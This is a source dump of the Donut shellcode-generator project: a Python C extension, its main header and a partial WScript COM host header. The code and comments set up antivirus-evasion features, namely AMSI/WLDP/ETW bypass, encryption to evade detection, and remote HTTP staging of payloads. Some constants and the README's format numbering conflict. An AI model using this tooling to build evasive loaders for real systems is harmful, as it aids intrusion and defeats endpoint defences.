entropyIntegerIndicates whether Donut should use entropy and/or encryption for the loader to help evade detection. Available options are 1=DONUT_ENTROPY_NONE, 2=DONUT_ENTROPY_RANDOM, which generates random strings and 3=DONUT_ENTROPY_DEFAULT that combines DONUT_ENTROPY_RANDOM with symmetric encryption.
formatIntegerSpecifies the output format for the shellcode loader. Supported formats are 1=DONUT_FORMAT_BINARY, 2=DONUT_FORMAT_BASE64, 3=DONUT_FORMAT_RUBY, 4=DONUT_FORMAT_C, 5=DONUT_FORMAT_PYTHON, 6=DONUT_FORMAT_POWERSHELL, 7=DONUT_FORMAT_CSHARP and 8=DONUT_FORMAT_HEX. On Windows, the base64 string is copied to the clipboard.
exit_optIntegerWhen the shellcode ends, RtlExitUserThread is called, which is the default behaviour. Use 2=DONUT_OPT_EXIT_PROCESS to terminate the host process via the RtlExitUserProcess API. Use 3=DONUT_OPT_EXIT_BLOCK to not exit or cleanup and instead block indefinitely.
threadIntegerIf the file is an unmanaged EXE, the loader will run the entrypoint as a thread. The loader also attempts to intercept calls to exit-related API stored in the Import Address Table by replacing those pointers with the address of the RtlExitUserThread API. However, hooking via IAT is generally unreliable and Donut may use code splicing / hooking in the future.
oepStringTells the loader to create a new thread before continuing execution at the OEP provided by the user. Address should be in hexadecimal format.
outputStringThe path of where to save the shellcode/loader. Default is "loader.bin".
runtimeStringThe CLR runtime version to use for a .NET assembly. If none is provided, Donut will try reading from the PE's COM directory. If that fails, v4.0.30319 is used by default.
appdomainStringAppDomain name to create. If one is not specified by the caller, it will be generated randomly. If entropy is disabled, it will be set to "AAAAAAAA"
clsStringThe class name with method to invoke. A namespace is optional. e.g: namespace.class
methodStringThe method that will be invoked by the shellcode once a .NET assembly is loaded into memory. This also holds the name of an exported API if the module is an unmanaged DLL.
paramsStringList of parameters for the .NET method or DLL function. For unmanaged EXE files, a 4-byte string is generated randomly to act as the module name. If entropy is disabled, this will be "AAAA"
unicodeIntegerBy default, the params string is passed to an unmanaged DLL function as-is, in ANSI format. If set, param is converted to UNICODE.
url or serverStringIf the instance type is DONUT_INSTANCE_HTTP, this should contain the server and path of where module will be stored. e.g: https://www.staging-server.com/modules/
modnameStringIf the type is DONUT_INSTANCE_HTTP, this will contain the name of the module for where to save the contents of mod to disk. If none is provided by the user, it will be generated randomly. If entropy is disabled, it will be set to "AAAAAAAA"
157 | 158 | ## Author 159 | 160 | The Python extension was written by [@byt3bl33d3r](https://twitter.com/byt3bl33d3r) 161 | -------------------------------------------------------------------------------- /donutmodule.c: -------------------------------------------------------------------------------- 1 | /** 2 | BSD 3-Clause License 3 | 4 | Copyright (c) 2019, TheWover, Odzhan. All rights reserved. 5 | 6 | Python C Extension by @byt3bl33d3r 7 | 8 | Redistribution and use in source and binary forms, with or without 9 | modification, are permitted provided that the following conditions are met: 10 | 11 | * Redistributions of source code must retain the above copyright notice, this 12 | list of conditions and the following disclaimer. 13 | 14 | * Redistributions in binary form must reproduce the above copyright notice, 15 | this list of conditions and the following disclaimer in the documentation 16 | and/or other materials provided with the distribution. 17 | 18 | * Neither the name of the copyright holder nor the names of its 19 | contributors may be used to endorse or promote products derived from 20 | this software without specific prior written permission. 21 | 22 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 23 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 24 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 25 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 26 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 27 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 28 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 29 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 30 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 31 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 32 | */ 33 | 34 | #define PY_SSIZE_T_CLEAN 35 | #include 36 | #include "donut.h" 37 | 38 | static PyObject *Donut_Create(PyObject *self, PyObject *args, PyObject *keywds) { 39 | char *input = NULL; // input file to execute in-memory 40 | 41 | int arch = 0; // target CPU architecture or mode 42 | int bypass = 0; // AMSI/WDLP/ETW bypassing behavior 43 | int headers = 0; // Preserve PE headers behavior 44 | int compress = 0; // compress input file 45 | int entropy = 0; // whether to randomize API hashes and use encryption 46 | int format = 0; // output format 47 | int exit_opt = 0; // exit process or exit thread 48 | int thread = 0; // run unmanaged entrypoint as a thread 49 | char *oep = NULL; // creates new thread for loader and continues execution at specified address provided in hexadecimal format 50 | 51 | char *output = NULL; // name of loader stored on disk 52 | 53 | char *runtime = NULL; // runtime version 54 | char *domain = NULL; // app domain name to use 55 | char *cls = NULL; // class name 56 | char *method = NULL; // method name 57 | 58 | char *params = NULL; // parameters for method 59 | int unicode = 0; // param is converted to unicode before being passed to unmanaged DLL function 60 | 61 | char *decoy = NULL; // path of decoy module 62 | 63 | char *server = NULL; // HTTP server to download module from 64 | char *modname = NULL; // name of module stored on HTTP server 65 | 66 | static char *kwlist[] = { 67 | "file", "arch", "bypass", "headers", "compress", "entropy", 68 | "format", "exit_opt", "thread", "oep", "output", 69 | "runtime", "appdomain", "cls", "method", "params", 70 | "unicode", "decoy", "server", "url", "modname", NULL}; 71 | 72 | if (!PyArg_ParseTupleAndKeywords( 73 | args, keywds, "s|iiiiiiiisssssssissss", kwlist, &input, &arch, 74 | &bypass, &headers, &compress, &entropy, &format, &exit_opt, &thread, 75 | &oep, &output, &runtime, &domain, &cls, &method, ¶ms, &unicode, 76 | &decoy, &server, &server, &modname)) 77 | { 78 | return NULL; 79 | } 80 | 81 | DONUT_CONFIG c; 82 | 83 | // zero initialize configuration 84 | memset(&c, 0, sizeof(c)); 85 | 86 | // default settings 87 | c.inst_type = DONUT_INSTANCE_EMBED; // file is embedded 88 | c.arch = DONUT_ARCH_X84; // dual-mode (x86+amd64) 89 | c.bypass = DONUT_BYPASS_CONTINUE; // continues loading even if disabling AMSI/WLDP/ETW fails 90 | c.headers = DONUT_HEADERS_OVERWRITE;// overwrite PE header 91 | c.format = DONUT_FORMAT_BINARY; // default output format 92 | c.compress = DONUT_COMPRESS_NONE; // compression is disabled by default 93 | c.entropy = DONUT_ENTROPY_DEFAULT; // enable random names + symmetric encryption by default 94 | c.exit_opt = DONUT_OPT_EXIT_THREAD; // default behaviour is to exit the thread 95 | c.unicode = 0; // command line will not be converted to unicode for unmanaged DLL function 96 | 97 | // input file 98 | if(input != NULL) { 99 | strncpy(c.input, input, DONUT_MAX_NAME - 1); 100 | } 101 | 102 | // target cpu architecture 103 | if(arch != 0) { 104 | c.arch = arch; 105 | } 106 | // bypass options 107 | if(bypass != 0) { 108 | c.bypass = bypass; 109 | } 110 | // headers options 111 | if(headers != 0) { 112 | c.headers = headers; 113 | } 114 | // class of .NET assembly 115 | if(cls != NULL) { 116 | strncpy(c.cls, cls, DONUT_MAX_NAME - 1); 117 | } 118 | // name of domain to use for .NET assembly 119 | if(domain != NULL) { 120 | strncpy(c.domain, domain, DONUT_MAX_NAME - 1); 121 | } 122 | // encryption options 123 | if(entropy != 0) { 124 | c.entropy = entropy; 125 | } 126 | // output format 127 | if(format != 0) { 128 | c.format = format; 129 | } 130 | // method of .NET assembly 131 | if(method != NULL) { 132 | strncpy(c.method, method, DONUT_MAX_NAME - 1); 133 | } 134 | // module name 135 | if(modname != NULL) { 136 | strncpy(c.modname, modname, DONUT_MAX_NAME - 1); 137 | } 138 | // output file for loader 139 | if(output != NULL) { 140 | strncpy(c.output, output, DONUT_MAX_NAME - 1); 141 | } 142 | // parameters to method, DLL function or command line for unmanaged EXE 143 | if(params != NULL) { 144 | strncpy(c.args, params, DONUT_MAX_NAME - 1); 145 | } 146 | // path of decoy file 147 | if(decoy != NULL) { 148 | strncpy(c.decoy, decoy, 2048); 149 | } 150 | // runtime version to use for .NET DLL / EXE 151 | if(runtime != NULL) { 152 | strncpy(c.runtime, runtime, DONUT_MAX_NAME - 1); 153 | } 154 | // run entrypoint of unmanaged EXE as a thread 155 | if(thread != 0) { 156 | c.thread = 1; 157 | } 158 | // server 159 | if(server != NULL) { 160 | strncpy(c.server, server, DONUT_MAX_NAME - 2); 161 | c.inst_type = DONUT_INSTANCE_HTTP; 162 | } 163 | // convert param to unicode? only applies to unmanaged DLL function 164 | if(unicode != 0) { 165 | c.unicode = 1; 166 | } 167 | // call RtlExitUserProcess to terminate host process 168 | if(exit_opt != 0) { 169 | c.exit_opt = exit_opt; 170 | } 171 | // fork a new thread and execute address of original entry point 172 | if(oep != NULL) { 173 | c.oep = strtoul(oep, NULL, 16); 174 | } 175 | // pack/compress input file 176 | if(compress != 0) { 177 | c.compress = compress; 178 | } 179 | 180 | int err = DonutCreate(&c); 181 | 182 | if(err != 0) { 183 | PyErr_SetString(PyExc_RuntimeError, DonutError(err)); 184 | DonutDelete(&c); 185 | return NULL; 186 | } 187 | 188 | PyObject *shellcode = Py_BuildValue("y#", c.pic, c.pic_len); 189 | 190 | DonutDelete(&c); 191 | 192 | return shellcode; 193 | } 194 | 195 | // module's function table 196 | static PyMethodDef Donut_FunctionsTable[] = { 197 | { 198 | "create", // name exposed to Python 199 | Donut_Create, // C wrapper function 200 | METH_VARARGS|METH_KEYWORDS, 201 | "Calls DonutCreate to generate shellcode for a .NET assembly" // documentation 202 | }, 203 | 204 | {NULL, NULL, 0, NULL} 205 | }; 206 | 207 | // modules definition 208 | static struct PyModuleDef Donut_Module = { 209 | PyModuleDef_HEAD_INIT, 210 | "donut", // name of module exposed to Python 211 | "Donut Python C extension", // module documentation 212 | -1, 213 | Donut_FunctionsTable 214 | }; 215 | 216 | PyMODINIT_FUNC PyInit_donut(void) { 217 | return PyModule_Create(&Donut_Module); 218 | } 219 | -------------------------------------------------------------------------------- /lib/donut.h: -------------------------------------------------------------------------------- 1 | /** 2 | BSD 3-Clause License 3 | 4 | Copyright (c) 2019, TheWover, Odzhan. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | */ 31 | 32 | #ifndef DONUT_H 33 | #define DONUT_H 34 | 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | 42 | #if defined(_WIN32) || defined(_WIN64) 43 | #define WINDOWS 44 | #include 45 | #else 46 | #define LINUX 47 | #include 48 | #include 49 | #endif 50 | 51 | #define DONUT_ERROR_SUCCESS 0 52 | #define DONUT_ERROR_FILE_NOT_FOUND 1 53 | #define DONUT_ERROR_FILE_EMPTY 2 54 | #define DONUT_ERROR_FILE_ACCESS 3 55 | #define DONUT_ERROR_FILE_INVALID 4 56 | #define DONUT_ERROR_NET_PARAMS 5 57 | #define DONUT_ERROR_NO_MEMORY 6 58 | #define DONUT_ERROR_INVALID_ARCH 7 59 | #define DONUT_ERROR_INVALID_URL 8 60 | #define DONUT_ERROR_URL_LENGTH 9 61 | #define DONUT_ERROR_INVALID_PARAMETER 10 62 | #define DONUT_ERROR_RANDOM 11 63 | #define DONUT_ERROR_DLL_FUNCTION 12 64 | #define DONUT_ERROR_ARCH_MISMATCH 13 65 | #define DONUT_ERROR_DLL_PARAM 14 66 | #define DONUT_ERROR_BYPASS_INVALID 15 67 | #define DONUT_ERROR_NORELOC 15 68 | #define DONUT_ERROR_INVALID_ENCODING 16 69 | #define DONUT_ERROR_INVALID_ENGINE 17 70 | #define DONUT_ERROR_COMPRESSION 18 71 | #define DONUT_ERROR_INVALID_ENTROPY 19 72 | #define DONUT_ERROR_MIXED_ASSEMBLY 20 73 | #define DONUT_ERROR_HEADERS_INVALID 21 74 | #define DONUT_ERROR_DECOY_INVALID 22 75 | 76 | // target architecture 77 | #define DONUT_ARCH_ANY -1 // just for vbs,js and xsl files 78 | #define DONUT_ARCH_X86 1 // x86 79 | #define DONUT_ARCH_X64 2 // AMD64 80 | #define DONUT_ARCH_X84 3 // AMD64 + x86 81 | 82 | // module type 83 | #define DONUT_MODULE_NET_DLL 1 // .NET DLL. Requires class and method 84 | #define DONUT_MODULE_NET_EXE 2 // .NET EXE. Executes Main if no class and method provided 85 | #define DONUT_MODULE_DLL 3 // Unmanaged DLL, function is optional 86 | #define DONUT_MODULE_EXE 4 // Unmanaged EXE 87 | #define DONUT_MODULE_VBS 5 // VBScript 88 | #define DONUT_MODULE_JS 6 // JavaScript or JScript 89 | 90 | // format type 91 | #define DONUT_FORMAT_BINARY 1 92 | #define DONUT_FORMAT_BASE64 2 93 | #define DONUT_FORMAT_C 3 94 | #define DONUT_FORMAT_RUBY 4 95 | #define DONUT_FORMAT_PYTHON 5 96 | #define DONUT_FORMAT_POWERSHELL 6 97 | #define DONUT_FORMAT_CSHARP 7 98 | #define DONUT_FORMAT_HEX 8 99 | 100 | // compression engine 101 | #define DONUT_COMPRESS_NONE 1 102 | #define DONUT_COMPRESS_APLIB 2 103 | #define DONUT_COMPRESS_LZNT1 3 // COMPRESSION_FORMAT_LZNT1 104 | #define DONUT_COMPRESS_XPRESS 4 // COMPRESSION_FORMAT_XPRESS 105 | 106 | // entropy level 107 | #define DONUT_ENTROPY_NONE 1 // don't use any entropy 108 | #define DONUT_ENTROPY_RANDOM 2 // use random names 109 | #define DONUT_ENTROPY_DEFAULT 3 // use random names + symmetric encryption 110 | 111 | // misc options 112 | #define DONUT_OPT_EXIT_THREAD 1 // return to the caller which calls RtlExitUserThread 113 | #define DONUT_OPT_EXIT_PROCESS 2 // call RtlExitUserProcess to terminate host process 114 | #define DONUT_OPT_EXIT_BLOCK 3 // after the main shellcode ends, do not exit or cleanup and block indefinitely 115 | 116 | // instance type 117 | #define DONUT_INSTANCE_EMBED 1 // Self-contained 118 | #define DONUT_INSTANCE_HTTP 2 // Download from remote HTTP/HTTPS server 119 | #define DONUT_INSTANCE_DNS 3 // Download from remote DNS server 120 | 121 | // AMSI/WLDP/ETW options 122 | #define DONUT_BYPASS_NONE 1 // Disables bypassing AMSI/WDLP/ETW 123 | #define DONUT_BYPASS_ABORT 2 // If bypassing AMSI/WLDP/ETW fails, the loader stops running 124 | #define DONUT_BYPASS_CONTINUE 3 // If bypassing AMSI/WLDP/ETW fails, the loader continues running 125 | 126 | // Preserve PE headers options 127 | #define DONUT_HEADERS_OVERWRITE 1 // Overwrite PE headers 128 | #define DONUT_HEADERS_KEEP 1 // Preserve PE headers 129 | 130 | #define DONUT_MAX_NAME 256 // maximum length of string for domain, class, method and parameter names 131 | #define DONUT_MAX_DLL 8 // maximum number of DLL supported by instance 132 | #define DONUT_MAX_MODNAME 8 133 | #define DONUT_SIG_LEN 8 // 64-bit string to verify decryption ok 134 | #define DONUT_VER_LEN 32 135 | #define DONUT_DOMAIN_LEN 8 136 | 137 | typedef struct _DONUT_CONFIG { 138 | uint32_t len, zlen; // original length of input file and compressed length 139 | // general / misc options for loader 140 | int arch; // target architecture 141 | int bypass; // bypass option for AMSI/WDLP/ETW 142 | int headers; // preserve PE headers option 143 | int compress; // engine to use when compressing file via RtlCompressBuffer 144 | int entropy; // entropy/encryption level 145 | int format; // output format for loader 146 | int exit_opt; // return to caller or invoke RtlExitUserProcess to terminate the host process 147 | int thread; // run entrypoint of unmanaged EXE as a thread. attempts to intercept calls to exit-related API 148 | uint32_t oep; // original entrypoint of target host file 149 | 150 | // files in/out 151 | char input[DONUT_MAX_NAME]; // name of input file to read and load in-memory 152 | char output[DONUT_MAX_NAME]; // name of output file to save loader 153 | 154 | // .NET stuff 155 | char runtime[DONUT_MAX_NAME]; // runtime version to use for CLR 156 | char domain[DONUT_MAX_NAME]; // name of domain to create for .NET DLL/EXE 157 | char cls[DONUT_MAX_NAME]; // name of class with optional namespace for .NET DLL 158 | char method[DONUT_MAX_NAME]; // name of method or DLL function to invoke for .NET DLL and unmanaged DLL 159 | 160 | // command line for DLL/EXE 161 | char param[DONUT_MAX_NAME]; // command line to use for unmanaged DLL/EXE and .NET DLL/EXE 162 | int unicode; // param is converted to UNICODE before being passed to DLL function 163 | 164 | // module overloading stuff 165 | char decoy[MAX_PATH * 2]; // path of decoy module 166 | 167 | // HTTP staging information 168 | char server[DONUT_MAX_NAME]; // points to root path of where module will be stored on remote http server 169 | char auth[DONUT_MAX_NAME]; // username and password for web server 170 | char modname[DONUT_MAX_NAME]; // name of module written to disk for http stager 171 | 172 | // DONUT_MODULE 173 | int mod_type; // VBS/JS/DLL/EXE 174 | int mod_len; // size of DONUT_MODULE 175 | void *mod; // points to DONUT_MODULE 176 | 177 | // DONUT_INSTANCE 178 | int inst_type; // DONUT_INSTANCE_PIC or DONUT_INSTANCE_HTTP 179 | int inst_len; // size of DONUT_INSTANCE 180 | void *inst; // points to DONUT_INSTANCE 181 | 182 | // shellcode generated from configuration 183 | int pic_len; // size of loader/shellcode 184 | void* pic; // points to loader/shellcode 185 | } DONUT_CONFIG, *PDONUT_CONFIG; 186 | 187 | // function pointers 188 | typedef int (__cdecl *DonutCreate_t)(PDONUT_CONFIG); 189 | typedef int (__cdecl *DonutDelete_t)(PDONUT_CONFIG); 190 | typedef const char* (__cdecl *DonutError_t)(int); 191 | 192 | #ifdef __cplusplus 193 | extern "C" { 194 | #endif 195 | 196 | // prototypes 197 | int DonutCreate(PDONUT_CONFIG); 198 | int DonutCreateWrapper(const char *); 199 | int DonutDelete(PDONUT_CONFIG); 200 | const char* DonutError(int); 201 | 202 | #ifdef __cplusplus 203 | } 204 | #endif 205 | 206 | #endif 207 | -------------------------------------------------------------------------------- /loader/wscript.h: -------------------------------------------------------------------------------- 1 | /** 2 | BSD 3-Clause License 3 | 4 | Copyright (c) 2019, TheWover, Odzhan. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | */ 31 | 32 | #ifndef WSCRIPT_H 33 | #define WSCRIPT_H 34 | 35 | #include "../include/donut.h" 36 | 37 | typedef struct _IHost IHost; 38 | 39 | typedef struct _IHostVtbl { 40 | BEGIN_INTERFACE 41 | 42 | HRESULT (STDMETHODCALLTYPE *QueryInterface)( 43 | IHost *This, 44 | REFIID riid, 45 | void **ppvObject); 46 | 47 | ULONG (STDMETHODCALLTYPE *AddRef)(IHost *This); 48 | 49 | ULONG (STDMETHODCALLTYPE *Release)(IHost *This); 50 | 51 | HRESULT (STDMETHODCALLTYPE *GetTypeInfoCount)( 52 | IHost *This, 53 | UINT *pctinfo); 54 | 55 | HRESULT (STDMETHODCALLTYPE *GetTypeInfo)( 56 | IHost *This, 57 | UINT iTInfo, 58 | LCID lcid, 59 | ITypeInfo **ppTInfo); 60 | 61 | HRESULT (STDMETHODCALLTYPE *GetIDsOfNames)( 62 | IHost *This, 63 | REFIID riid, 64 | LPOLESTR *rgszNames, 65 | UINT cNames, 66 | LCID lcid, 67 | DISPID *rgDispId); 68 | 69 | HRESULT (STDMETHODCALLTYPE *Invoke)( 70 | IHost *This, 71 | DISPID dispIdMember, 72 | REFIID riid, 73 | LCID lcid, 74 | WORD wFlags, 75 | DISPPARAMS *pDispParams, 76 | VARIANT *pVarResult, 77 | EXCEPINFO *pExcepInfo, 78 | UINT *puArgErr); 79 | 80 | HRESULT (STDMETHODCALLTYPE *get_Name)( 81 | IHost *This, 82 | BSTR *out_Name); 83 | 84 | HRESULT (STDMETHODCALLTYPE *get_Application)( 85 | IHost *This, 86 | IDispatch **out_Dispatch); 87 | 88 | HRESULT (STDMETHODCALLTYPE *get_FullName)( 89 | IHost *This, 90 | BSTR *out_Path); 91 | 92 | HRESULT (STDMETHODCALLTYPE *get_Path)( 93 | IHost *This, 94 | BSTR *out_Path); 95 | 96 | HRESULT (STDMETHODCALLTYPE *get_Interactive)( 97 | IHost *This, 98 | VARIANT_BOOL *out_Interactive); 99 | 100 | HRESULT (STDMETHODCALLTYPE *put_Interactive)( 101 | IHost *This, 102 | VARIANT_BOOL v); 103 | 104 | HRESULT (STDMETHODCALLTYPE *Quit)( 105 | IHost *This, 106 | int ExitCode); 107 | 108 | HRESULT (STDMETHODCALLTYPE *get_ScriptName)( 109 | IHost *This, 110 | BSTR *out_ScriptName); 111 | 112 | HRESULT (STDMETHODCALLTYPE *get_ScriptFullName)( 113 | IHost *This, 114 | BSTR *out_ScriptFullName); 115 | 116 | HRESULT (STDMETHODCALLTYPE *get_Arguments)( 117 | IHost *This, 118 | void **out_Arguments); 119 | 120 | HRESULT (STDMETHODCALLTYPE *get_Version)( 121 | IHost *This, 122 | BSTR *out_Version); 123 | 124 | HRESULT (STDMETHODCALLTYPE *get_BuildVersion)( 125 | IHost *This, 126 | int *out_Build); 127 | 128 | HRESULT (STDMETHODCALLTYPE *get_Timeout)( 129 | IHost *This, 130 | LONG *out_Timeout); 131 | 132 | HRESULT (STDMETHODCALLTYPE *put_Timeout)( 133 | IHost *This, 134 | LONG v); 135 | 136 | HRESULT (STDMETHODCALLTYPE *CreateObject)( 137 | IHost *This, 138 | BSTR ProgID, 139 | BSTR Prefix, 140 | IDispatch **out_Dispatch); 141 | 142 | HRESULT (STDMETHODCALLTYPE *Echo)( 143 | IHost *This, 144 | SAFEARRAY *args); 145 | 146 | HRESULT (STDMETHODCALLTYPE *GetObject)( 147 | IHost *This, 148 | BSTR Pathname, 149 | BSTR ProgID, 150 | BSTR Prefix, 151 | IDispatch **out_Dispatch); 152 | 153 | HRESULT (STDMETHODCALLTYPE *DisconnectObject)( 154 | IHost *This, 155 | IDispatch *Object); 156 | 157 | HRESULT (STDMETHODCALLTYPE *Sleep)( 158 | IHost *This, 159 | LONG Time); 160 | 161 | HRESULT (STDMETHODCALLTYPE *ConnectObject)( 162 | IHost *This, 163 | IDispatch *Object, 164 | BSTR Prefix); 165 | 166 | HRESULT (STDMETHODCALLTYPE *get_StdIn)( 167 | IHost *This, 168 | void **ppts); 169 | 170 | HRESULT (STDMETHODCALLTYPE *get_StdOut)( 171 | IHost *This, 172 | void **ppts); 173 | 174 | HRESULT (STDMETHODCALLTYPE *get_StdErr)( 175 | IHost *This, 176 | void **ppts); 177 | 178 | END_INTERFACE 179 | } IHostVtbl; 180 | 181 | typedef struct _IHost { 182 | IHostVtbl *lpVtbl; // virtual function table 183 | ITypeLib *lpTypeLib; // type library 184 | ITypeInfo *lpTypeInfo; // type information for WScript properties/methods 185 | IActiveScript *lpEngine; // IActiveScript engine from main thread 186 | ULONG m_cRef; // reference count 187 | PDONUT_INSTANCE inst; 188 | } IHost; 189 | 190 | static HRESULT Host_New(PDONUT_INSTANCE inst, IHost *host); 191 | 192 | // Queries a COM object for a pointer to one of its interface. 193 | static STDMETHODIMP Host_QueryInterface(IHost *This, REFIID riid, void **ppv); 194 | 195 | // Increments the reference count for an interface pointer to a COM object. 196 | static STDMETHODIMP_(ULONG) Host_AddRef(IHost *This); 197 | 198 | // Decrements the reference count for an interface on a COM object. 199 | static STDMETHODIMP_(ULONG) Host_Release(IHost *This); 200 | 201 | // Retrieves the number of type information interfaces that an object provides (either 0 or 1). 202 | static STDMETHODIMP Host_GetTypeInfoCount(IHost *This, UINT *pctinfo); 203 | 204 | // Retrieves the type information for an object, which can then be used to get the type information for an interface. 205 | static STDMETHODIMP Host_GetTypeInfo(IHost *This, UINT iTInfo, LCID lcid, ITypeInfo **ppTInfo); 206 | 207 | // Maps a single member and an optional set of argument names to a corresponding set of integer DISPIDs, 208 | // which can be used on subsequent calls to Invoke. 209 | static STDMETHODIMP Host_GetIDsOfNames( 210 | IHost *This, REFIID riid, LPOLESTR *rgszNames, 211 | UINT cNames, LCID lcid, DISPID *rgDispId); 212 | 213 | // Provides access to properties and methods exposed by an object. 214 | // The dispatch function DispInvoke provides a standard implementation of Invoke. 215 | static STDMETHODIMP Host_Invoke( 216 | IHost *This, DISPID dispIdMember, REFIID riid, 217 | LCID lcid, WORD wFlags, DISPPARAMS *pDispParams, VARIANT *pVarResult, 218 | EXCEPINFO *pExcepInfo, UINT *puArgErr); 219 | 220 | // Returns the name of the WScript object (the host executable file). 221 | static STDMETHODIMP Host_get_Name(IHost *This, BSTR *out_Name); 222 | 223 | static STDMETHODIMP Host_get_Application(IHost *This, IDispatch **out_Dispatch); 224 | 225 | // Returns the fully qualified path of the host executable (CScript.exe or WScript.exe). 226 | static STDMETHODIMP Host_get_FullName(IHost *This, BSTR *out_Path); 227 | 228 | static STDMETHODIMP Host_get_Path(IHost *This, BSTR *out_Path); 229 | 230 | // Gets the script mode, or identifies the script mode. 231 | static STDMETHODIMP Host_get_Interactive(IHost *This, VARIANT_BOOL *out_Interactive); 232 | 233 | // Sets the script mode, or identifies the script mode. 234 | static STDMETHODIMP Host_put_Interactive(IHost *This, VARIANT_BOOL v); 235 | 236 | // Forces script execution to stop at any time. 237 | static STDMETHODIMP Host_Quit(IHost *This, int ExitCode); 238 | 239 | // Returns the file name of the currently running script. 240 | static STDMETHODIMP Host_get_ScriptName(IHost *This, BSTR *out_ScriptName); 241 | 242 | // Returns the full path of the currently running script. 243 | static STDMETHODIMP Host_get_ScriptFullName(IHost *This, BSTR *out_ScriptFullName); 244 | 245 | // Returns the WshArguments object (a collection of arguments). 246 | static STDMETHODIMP Host_get_Arguments(IHost *This, void **out_Arguments); 247 | 248 | static STDMETHODIMP Host_get_Version(IHost *This, BSTR *out_Version); 249 | 250 | // Returns the Windows Script Host build version number. 251 | static STDMETHODIMP Host_get_BuildVersion(IHost *This, int *out_Build); 252 | 253 | static STDMETHODIMP Host_get_Timeout(IHost *This, LONG *out_Timeout); 254 | 255 | static STDMETHODIMP Host_put_Timeout(IHost *This, LONG v); 256 | 257 | // Connects the object's event sources to functions with a given prefix. 258 | static STDMETHODIMP Host_CreateObject(IHost *This, BSTR ProgID, BSTR Prefix, IDispatch **out_Dispatch); 259 | 260 | // Outputs text to either a message box or the command console window. 261 | static STDMETHODIMP Host_Echo(IHost *This, SAFEARRAY *args); 262 | 263 | // Retrieves an existing object with the specified ProgID, or creates a new one from a file. 264 | static STDMETHODIMP Host_GetObject(IHost *This, BSTR Pathname, BSTR ProgID, BSTR Prefix, IDispatch **out_Dispatch); 265 | 266 | // Disconnects a connected object's event sources. 267 | static STDMETHODIMP Host_DisconnectObject(IHost *This, IDispatch *Object); 268 | 269 | // Suspends script execution for a specified length of time, then continues execution. 270 | static STDMETHODIMP Host_Sleep(IHost *This, LONG Time); 271 | 272 | // Connects the object's event sources to functions with a given prefix. 273 | static STDMETHODIMP Host_ConnectObject(IHost *This, 